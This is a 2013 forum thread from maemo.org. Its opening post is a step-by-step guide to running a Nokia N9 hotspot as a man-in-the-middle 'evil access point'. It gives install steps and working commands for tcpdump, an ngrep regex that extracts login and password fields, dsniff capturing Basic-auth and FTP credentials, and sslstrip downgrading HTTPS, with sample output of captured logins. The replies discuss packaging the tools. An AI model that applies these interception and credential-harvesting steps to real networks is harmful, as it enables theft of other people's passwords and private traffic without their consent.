[HOWTO]: the n9 as an evil access point #mitm #ngrep #dsniff #tcpdump #sslstrip - maemo.org

dadaniel | # 1 | 2013-01-31, 23:42 | Report

the n9 as an evil access point #mitm

Prelude: I used it in all these tools for development and privat use, e.g. you shouldn't use it in a coffee-shop, call your hotspot "Free-Wifi" and turn the encryption off :P

The last month I looked for a way to use my n9 as package sniffer and I figured out some usefull stuff ...

... my train of thought was - how can I sniff whatever it's transmitted through my stock wifi-hotspot (joikuspot) ...

... so here's a guideline of what I got working and how it works:

mitm

My device:

Nokia n9, Linux RM 696 2.6.32.54-dfl-161-20121301 open mode, meego Harmattan PR1.3

Pre-dependencies:

Originally Posted by

opensh_1.00_armel
enable rzr’s repository (setup repository)

I AM WORKING IN OPEN MODE, SO I DONT KNOW IF IT WORKS WITH THE STOCK KERNEL!!!

1. tcpdump + tcpxtract
2. ngrep
3. dsniff [dsniff itself]
4. ssldump?

1. tcpdump + tcpxtract:

tcpdump is a very powerful package analyzer - you can dump nearly all traffic with this tool ...

tcpxtract is a tool to rebuild data from tcpdump-pcap files...

let's install the packages [and dependencies]:

Originally Posted by

apt-get install tcpdump libpcap0.8

I took the tcpxtract_1.0.1-5_armel package out of the debian repository.

Originally Posted by

dpkg -i tcpxtract_1.0.1-5_armel.deb

now fire up the wifi hotspot, connect with a client and let the magic begin:

Originally Posted by

mkdir tcpxtract_out/
tcpdump -i wlan0 -n -s 1500 -w tcpdump_http.pcap port 80

# we are starting tcpdump on interface [-i] wlan0, set the snaplen to 1500 [-s], don't convert addresses to names [-n] and listen only on port 80 [port 80]

open a website on the client ... tcpdump will capture it.

when you think you are finished, kill tcpdump [crtl+c]

now we will convert the captured traffic:

Originally Posted by

/home/user/dev/tcpplay # tcpxtract -f tcpdump_http.pcap -o tcpxtract_out/
Found file of type "html" in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000000.html
Found file of type "png" in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000001.png
Found file of type "png" in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000002.png
Found file of type "png" in session [192.168.20.20:26079 -> 82.150.199.80:20480], exporting to tcpxtract_out/00000003.png

...

...

Found file of type "png" in session [92.122.212.57:20480 -> 192.168.20.20:30431], exporting to tcpxtract_out/00000021.png

it looks like this.

I LIKE!

2. ngrep

ngrep is a very powerful tool as well - you can analyze traffic live...

I'm going to show you how to filter the traffic by some regular expressions to look for logins:

first install the necessary dependencies and ngrep itself:

Originally Posted by

apt-get install lipcap0.8

here's ngrep_1.45.ds2-9_armel [from debian repository]

Originally Posted by

dpkg -i ngrep ngrep_1.45.ds2-9_armel.deb

now fire up the wifi hotspot, connect with a client and let the magic begin [again

]:

Originally Posted by

/home/user/dev/sniffer # ngrep '[&\s?](?:login|user(?:name|)|p(***(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)' -q -i -d gprs0 port 80 or port 25 or port 110 -l
interface: gprs0 (123.123.123.123/255.255.255.255)
filter: (ip or ip6) and ( port 80 or port 25 or port 110 )
match: [&\s?](?:login|user(?:name|)|p(***(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)

T 123.123.123.123:61342 -> 82.150.199.80:80 [AP]
log=ohyes&pwd=itworks&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwww.true-binary.com%2Fwp-admin%2F&testcookie=1

# we are starting ngrep with a regular expression filter, tell it to be quiet [-q], to ignore case [-i], to use interface gprs0 [-d] (i had segment faults when I started it on wlan0 ... from time to time), -l to make the stdout line buffered [-l] (usefull when capturing to a file {2>&1 >ngrep.log}) and filter the traffic by ports [port 80 or port 25 or port 110]

... What it doesn't do is capturing htaccess logins, I use dsniff for it.

3. dsniff

dsniff? - omg, it's awesome! it includes:

Originally Posted by

arpspoof - Send out unrequested (and possibly forged) arp replies.
dnsspoof - forge replies to arbitrary DNS address / pointer queries on the Local Area Network.
dsniff - password sniffer for several protocols.
filesnarf - saves selected files sniffed from NFS traffic.
macof - flood the local network with random MAC addresses.
mailsnarf - sniffs mail on the LAN and stores it in mbox format.
msgsnarf - record selected messages from different Instant Messengers.
sshmitm - SSH monkey-in-the-middle. proxies and sniffs SSH traffic.
sshow - SSH traffic analyser.
tcpkill - kills specified in-progress TCP connections.
tcpnice - slow down specified TCP connections via "active" traffic shaping.
urlsnarf - output selected URLs sniffed from HTTP traffic in CLF.
webmitm - HTTP / HTTPS monkey-in-the-middle. transparently proxies.
webspy - sends URLs sniffed from a client to your local browser (requires libx11-6 installed).

dsniff does have some more dependencies than the other tools I described:

I took the libdb4.6_4.6.21-16_armel and libnids1.21_1.23-2_armel from the debian repository.

Here's dsniff_2.4b1+debian-18_armel

Originally Posted by

apt-get install libnet1 libpcap0.8 libssl0.9.8 openssl

dpkg -i libdb4.6_4.6.21-16_armel.deb

dpkg -i libnids1.21_1.23-2_armel.deb

dpkg -i dsniff_2.4b1+debian-18_armel.deb

whooop! - should be working now

dsniff itself is very simple to use - it has a build-in filter. I used it to sniff the authentication for htaccess logins as well as ftp logins:

Originally Posted by

/home/user/dev/sniffer # dsniff -m -s 1500 -i gprs0
dsniff: listening on gprs0

-----------------
01/31/13 10:45:02 tcp 123.123.123.123.61056 -> p111.111.111.111.some.isp.com.80 (http)
GET / HTTP/1.0
host: server.idonttellyou.com
authorization: Basic dGhpc2lzOmh0YWNjZXNzZHVtcA== [thisis:htaccessdump]

-----------------
01/31/13 10:47:22 tcp 123.123.123.123.57838 -> 82.150.199.80.21 (ftp)
USER thisis
PASS ftpdump

# we are starting dsniff with automatic protocol detection [-m], set the snaplen to 1500 [-s] and listen on interface gprs0 [-i] ... again I got segment faults when listening on wlan0.

4. sslstrip?

sslstrip strips down your https connections to http ...

... I found a way to pipe your local connection through sslstrip, but not with the hotspot connected client.

All I did was to modify my APN connection - I activated the http_proxy on 127.0.0.1 and port 10000, and changed a gconf setting (gconftool-2 -t string -s /system/proxy/mode "manual") - deactivate and activate the connection again and fire up sslstrip.

An alternative for testing is to set the http proxy in firefox.

What I figured out was: The Joikuspot doesn't use the APN entry from the phone settings, because I tried to add a second APN with some changed settings and it won't show up in the properties of Joikuspot. - Maybe that's why it doesn't take the proxy settings from the APN ... anyway, I'm still working on a workaround!

Here's sslstrip-0.9 (taken from http://www.thoughtcrime.org/)

Originally Posted by

/home/user/dev/sniffer/# apt-get install python-twisted-web

/home/user/dev/sniffer # tar xzf sslstrip-0.9.tar.gz && cd sslstrip-0.9

/home/user/dev/sniffer/sslstrip-0.9 # python setup.py build
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
Cleaning up...
/home/user/dev/sniffer/sslstrip-0.9 # python setup.py install
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Cleaning up...
/home/user/dev/sniffer/sslstrip-0.9 # ln -s /usr/local/bin/sslstrip /usr/bin/

/home/user/dev/sniffer/sslstrip-0.9 # gconftool-2 -t string -s /system/proxy/mode "manual"

/home/user/dev/sniffer/sslstrip-0.9 # sslstrip -l 10000 -w ../sslstrip.log &

/home/user/dev/sniffer/sslstrip-0.9 # tail -f ../sslstrip.log

2013-01-31 23:57:56,683 SECURE POST Data (www.facebook.com):
lsd=AVpjTuuG&email=thisis%40just.an&pass=example&default_persistent=0&charset_test=%E2%82%AC%2C%C2 %B4%2C%E2%82%AC%2C

... I also got the webmitm/mitmproxy running (fakes SSL-certifications, but as it's not a very efficient and elegant way to work, so I won't explain it)

cheers!

Last edited by dadaniel; 2013-01-31 at 23:48.

The Following 19 Users Say Thank You to dadaniel For This Useful Post:
Arie, bibek, brkn, death_jax, dzano, Jordi, juiceme, ladoga, lorenzo, mariusmssj, mr_pingu, ranbaxy, reinob, shanttu, shawnjefferson, smoothc, thedead1440, tortoisedoc

Arie | # 2 | 2013-02-01, 04:20 | Report

This is an awesome Post... Why are people overlooking it?

dadaniel | # 3 | 2013-02-01, 09:43 | Report

Originally Posted by Arie View Post

This is an awesome Post... Why are people overlooking it?

thanks

... maybe because it's not an "app" :P

The Following User Says Thank You to dadaniel For This Useful Post:
kalilucho

soryuuha | # 4 | 2013-02-01, 10:21 | Report

packet sniffer tool on n9 whoa :shock:

need to know if this will work on stock kernel :<

dadaniel | # 5 | 2013-02-01, 11:41 | Report

Originally Posted by soryuuha View Post

packet sniffer tool on n9 whoa :shock:

need to know if this will work on stock kernel :<

It 'should' work, but I would try it with inception/opensh - these tools don't need any kernel based modules.

Give it a try and tell me about it

cheers

kskoda | # 6 | 2013-03-01, 07:53 | Report

Originally Posted by dadaniel View Post

[SIZE="4"]

All I did was to modify my APN connection - I activated the http_proxy on 127.0.0.1 and port 10000, and changed a gconf setting (gconftool-2 -t string -s /system/proxy/mode "manual") - deactivate and activate the connection again and fire up sslstrip.

How did you activate proxy?

www.rzr.online.fr | # 7 | 2013-03-01, 08:06 | Report

added dante and sslstrip to shared repo ... dsc link for others are welcome too

Last edited by www.rzr.online.fr; 2013-03-01 at 20:47.

coderus | # 8 | 2013-03-01, 08:40 | Report

checked dante-client, not working. configured /etc/dante.conf, started socksify /usr/bin/grob -> process freezed and nothing happened

www.rzr.online.fr | # 9 | 2013-03-01, 20:19 | Report

thx for reporting ,feel free to branch it from obs and fix it

added dsniff among others ...

apt-get install tcpdump tcpxtract ngrep ssldump

Please check everything is there and confirm it is usable

Last edited by www.rzr.online.fr; 2013-03-03 at 14:22.